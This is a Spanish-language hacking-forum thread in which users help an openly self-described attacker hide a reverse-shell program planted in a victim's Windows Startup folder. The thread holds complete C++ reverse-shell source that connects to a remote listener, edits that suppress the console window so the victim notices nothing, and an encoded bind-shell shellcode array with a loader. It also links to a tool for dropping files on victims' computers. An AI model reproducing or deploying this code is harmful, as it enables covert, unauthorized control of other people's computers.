elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Cifrar documentos-carpetas con GnuPG en Linux y Windows


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General (Moderador: Eleкtro)
| | |-+  Ocultar Programa Reverse Shell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Ocultar Programa Reverse Shell  (Leído 9,594 veces)
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.586


Ver Perfil WWW
Ocultar Programa Reverse Shell
« en: 20 Septiembre 2004, 11:13 »

Wola

La idea es esta. Supongamos q yo, atacante, consigo colocar un cierto *.exe en C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio de una víctima. Ese *.exe no es más q un código en C++ cuya función es devolver una reverse shell a una IP y puerto remotos específicos:

Reverse Shell by Adik

Código:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")


void main(int argc, char *argv[])
{
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(4949);
        adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);

}


Cuando la víctima inicia Windows, se ejecuta este *.exe y si yo, atacante, tengo el nc en escucha en el puerto 4949, entonces me es devuelta una reverse shell remota. El problema es q desde q el ejecutable se inicia hasta q finaliza la conexión remota, a la víctima le aparece una ventana de msdos bastante cantosa. Aquí es donde entra mi duda: como puedo ocultar la ejecución de este programa *.exe??

1) Paso de andar jugando con bats, me interesa q subir únicamente un archivo a la víctima.

2) Por algo de experiencia, se me ha ocurrido q podría desarrollar una pequeña aplicación en Visual Basic, cuyo Form se mantuviera oculto y q creara un proceso de ejecución de este *.exe. De esta forma, se colocaría en Inicio el programita de Visual Basic y al ser ejecutado no aparecería ninguna ventana, se devolvería la reverse shell al atacante y la víctima no se pisparía de nada. El problema es q estaríamos en las mismas, necesito subir el *.exe y el programita de Visual Basic q lo llama.

3) Ya q estoy tratando con un código de C++, tb se me ha ocurrido modificar el propio código para q cuando el *.exe sea ejecutado, aparezca una ventana de formulario invisible y q, a su vez, se ejecute por detrás la parte de código de Reverse Shell. El problema es q no tengo ni idea de C++ y he estado buscando ejemplos de códigos para crear ventanas pero no entiendo nada.
Bien, esta idea es factible de ser desarrollada en C++?? Tenéis alguna sugerencia para resolver esta situación?? Por simple q parezca, puede resultar útil, asi q estoy abierto a cualquier idea...

Salu2


En línea

Ragnarok
Colaborador
***
Desconectado Desconectado

Mensajes: 4.578


Shrödingerificado


Ver Perfil
Re: Ocultar Programa Reverse Shell
« Respuesta #1 en: 20 Septiembre 2004, 11:43 »

Esta búsqueda era complicada, por lo que es comprensible, pero este tema ya se ha tratado antes. Dos links, en el primero hay un enlace al 2º:


http://foro.elhacker.net/index.php/topic,22041.0.html

http://foro.elhacker.net/index.php/topic,20631.0.html


En línea

No olvidéis leer las normas generales, además de las específicas de cada tablón.sgae, ladrones
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.586


Ver Perfil WWW
Re: Ocultar Programa Reverse Shell
« Respuesta #2 en: 20 Septiembre 2004, 12:41 »

Muchas gracias por la info. Sin embargo, no he hecho muchos progresos...

He creado un nuevo proyecto Win32 Aplication en mi VisualC++ y le he añadido el siguiente *.cpp

Código:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(4949);
        adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);

return 0;
}

Es decir, compila y crea el ejecutable como si fuera una aplicación GUI, y no una aplicación de consola. Ejecuto el *.exe pero no recibo la shell, es decir, no se ejecuta el contenido del programa. Al cabo de un rato, parpadea una nueva ventana de msdos, q supongo q será pq el programa casca.


Sobre est q dijo Potato:
Citar
bueno un truquillo si no quieres hacer una aplicacion gui pero no quieres mostrar una ventana de consola, una vez compilado cambia el valor de subsystem (de la cabecera PE) que estara a 3 (aplicacion de consola) por 2 (gui) y no saldra la ventana.

Lo único q he encontrao he sido esta referencia:
http://fravia.anticrack.de/covert1.htm

Comenta q puedes dumpear las cabeceras de un *.exe con una utilidad dumpbin . De hecho, aparece esto durante un volcado, q es a lo q él se refiere cuando dice q hay q cambiar el 3 de mi programa Reverse Shell por un 2.

Citar
2 subsystem (Windows GUI)

Bueno, a ver si sois tan amables de darme alguna pista más...

Gracias

Salu2
En línea

pinkfeet

Desconectado Desconectado

Mensajes: 7



Ver Perfil
Re: Ocultar Programa Reverse Shell
« Respuesta #3 en: 21 Septiembre 2004, 19:06 »

Gospel que hay hombre,

yo quise hacer esto mismo y lo logré pasándole al dwFlags de STARTUPINFO el STARTF_USESTDHANDLES pa "empipar" el input/output al socket (como ya sabras) y STARTF_USESHOWWINDOW pa mostrar o no la ventana. Luego pasé si.wShowWindow = SW_HIDE pa k no se muestre. Total k keda asin:

Código:
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

bueno a ve si te va eso, por cierto lo compilé con el dev-c++ como GUI, lo de los pragmas era pa visual-c++ no ?. kreo k se comentó algo deso por aki, yo incluí -lws2_32 en las opsiones del compilador y ya.

suerT tio, Salu2
En línea

Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.586


Ver Perfil WWW
Re: Ocultar Programa Reverse Shell
« Respuesta #4 en: 22 Septiembre 2004, 04:03 »

Buah, muchas gracias pinkfeet!!! Va de lujo y no aparece la ventana.

El código ha quedado finalmente así:
Código:
#include <winsock2.h>
#include <stdio.h>


int main(int argc, char *argv[])
{
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(4949);
        adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        //si.dwFlags = STARTF_USESTDHANDLES;
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;//
si.wShowWindow = SW_HIDE;//
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);

}


Lo he tenido q compilar con el Dev-C++ pq con el Visual C++ no me lo compilaba en modo ventana  :-\
 
Este programilla de reverse shell es una maravilla. Primera aplicación: lo dejas en la carpeta Inicio de una víctima y cuando reinicie, se conecta al nc en escucha del atacante. En la víctima no aparece ninguna ventana, y lo más de p**a madre es q en la ventana de procesos sólo aparece ejecutándose el cmd.exe q es devuelto en

Citar
CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);


De todas formas, aunq ya te digo q en este programa en concreto me ha funcionado la modificación q tú me has dicho, estaría interesado en generalizarlo para otros programas. Es decir, generalizar la manera de ocultar la ventana del proceso de ejecución del programa C++...

Un ejemplo de esto q te comento, sería por ejemplo ocultar la ventana de ejecución del programa q ejecuta la siguiente shellcode q deja escuchando una shell en el puerto 9191 de la víctima:

Código:
char scode[] = {
0xEB,0x03,0x5D,0xEB,0x05,0xE8,0xF8,0xFF,0xFF,0xFF,0x8B,0xC5,0x83,0xC0,0x11,0x33,0xC9,0x66,0xB9,
0xC9,0x01,0x80,0x30,0x88,0x40,0xE2,0xFA,
0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE,
0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89,
0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78,
0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAB, 0x6F, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77,
0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03,
0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05,
0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98,
0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC,
0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77,
0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03,
0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8,
0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C,
0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0,
0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03,
0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B,
0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03,
0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48,
0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
};


int main(int argc, char **argv)
{
  int (*funct)();
  funct = (int (*)()) scode;
  (int)(*funct)();
}

Gracias

Salu2

« Última modificación: 22 Septiembre 2004, 04:05 por Gospel » En línea

DarkIk£r

Desconectado Desconectado

Mensajes: 19



Ver Perfil
Re: Ocultar Programa Reverse Shell
« Respuesta #5 en: 1 Agosto 2005, 01:39 »

Bueno aunque ya a pasado mucho tiempo desde la ultima respuesta a este tema e de mostrarte algo que puede que te interese, es un programa bastante pequeño que funciona a las mil maravillas y obre todo logra us cometido que es el de poenr archivos en el computador de la victima sin que esta se de cuenta, el programa se llama "Executer" y es bastante bueno pue spor que lo hize yo  ;D  si quieres lo peudes descargar en http://www.Drox-Org.tk/Exec.zip,es muy facil de usar y viene con todo y el programa que lo configura y por su tamaño es menos sospechoso que otros programas.
En línea

sch3m4
Colaborador
***
Desconectado Desconectado

Mensajes: 1.606

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Ocultar Programa Reverse Shell
« Respuesta #6 en: 1 Agosto 2005, 02:23 »

puedes ocultar la ventana añadiendo este código C/C++ al inicio de la función main:

Código:
ShowWindow(GetForegroundWindow(),SW_HIDE);

No veo buena la idea de hacer lo de Visual Basic ya que añadiría un tamaño considerable al ejecutable.
« Última modificación: 1 Agosto 2005, 02:27 por Lympex » En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
DarkIk£r

Desconectado Desconectado

Mensajes: 19



Ver Perfil
Re: Ocultar Programa Reverse Shell
« Respuesta #7 en: 2 Agosto 2005, 00:06 »

corrijo el link a http://www.e2uhosting.com/download.php?file=http://drox-org.e2uhosting.com/Exec.zip
« Última modificación: 2 Agosto 2005, 00:39 por DarkIk£r » En línea

SlenX

Desconectado Desconectado

Mensajes: 71


¿ De verdad existe ?


Ver Perfil
Re: Ocultar Programa Reverse Shell
« Respuesta #8 en: 22 Septiembre 2005, 09:22 »

Buenas he hecho un programa bastante interesante pero que me gustaria que no saliera la ventana ms-dos por que molesta bastante....

El caso es que si pongo
si.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

me da unos errores 7
C:\Documents and Settings\SlenX\Escritorio\SinNombre1.c `si' undeclared (first use in this function)

y mas como estos, estoy seguro que puede ser por la librería lws2_32 ya que no me identifica esas funciones,  pero parece ser que no la tengo, tengo el dev c++, Gospel como tu has conseguido compilar un programa de esta manera me gustaría que me dijeras como lo has hecho :)

Gracias y un saludo!
En línea

sch3m4
Colaborador
***
Desconectado Desconectado

Mensajes: 1.606

Nihil est in intelectu quod prius not fuerit insen


Ver Perfil WWW
Re: Ocultar Programa Reverse Shell
« Respuesta #9 en: 22 Septiembre 2005, 09:26 »

la librería del socket es "libws2_32" y en VC++ es "ws2_32"
Si no te reconoce la  variable "si" es porque no la has declarado. Si mal no recuerdo, sería

Código:
STARTUPINFO si;
En línea

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines